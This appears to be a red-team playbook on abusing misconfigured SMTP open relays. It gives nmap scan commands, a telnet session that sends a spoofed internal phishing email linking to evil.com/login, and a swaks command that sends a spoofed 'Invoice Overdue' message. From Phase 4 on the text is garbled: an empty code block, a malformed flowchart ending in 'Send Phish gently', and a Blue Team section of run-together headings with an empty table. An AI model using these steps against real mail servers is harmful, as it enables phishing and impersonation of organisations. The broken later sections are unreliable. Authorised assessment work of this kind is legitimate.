smtp-open-relay-abuse

SMTP Open Relay Abuse

When to Use

• When auditing an organization's network perimeter and discovering exposed SMTP services (port 25, 465, 587).
• To demonstrate how misconfigured mail servers can be leveraged for anonymized spamming or highly effective, internally-spoofed phishing campaigns during a Red Team engagement.

Prerequisites

• Network access to the target subnet (VPN, pivot, or direct connection)
• Nmap and relevant network scanning tools installed
• Understanding of TCP/IP, common protocols, and network segmentation
• Root/admin access on the attack machine for raw socket operations

Workflow

Phase 1: Identifying Open SMTP Ports

# nmap -p 25,465,587 --open -sV IP_ADDRESS

# nmap -p 25 --script smtp-open-relay IP_ADDRESS

Phase 2: Manual Verification via Telnet

# telnet IP_ADDRESS 25

# HELO attacker.local

# MAIL FROM:<[email protected]>

# RCPT TO:<[email protected]>

# DATA
Subject: Critical IT Update
From: [email protected]
To: [email protected]

Please click the following link to secure your account: http://evil.com/login
.
# QUIT

Phase 3: Automated Exploitation using SWAKS

# swaks --to [email protected] --from [email protected] --server IP_ADDRESS --body "Please review the attached document." --header "Subject: Invoice Overdue"

Phase 4: Utilizing Extended SMTP (ESMTP) and Authentication Bypasses

# ```

#### Decision Point 🔀
```mermaid
flowchart TD
    A[Connect SMTP ] --> B{Accepts RCPT ]}
    B -->|Yes| C[Open Relay ]
    B -->|No| D[Check Auth ]
    C --> E[Send Phish gently ]

🔵 Blue Team Detection & Defense

• Require Authentication: Network Filtering (Firewalls): Domain Verification (SPF/DKIM/DMARC): Key Concepts | Concept | Description | |---------|-------------|

Output Format

Smtp Open Relay Abuse — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]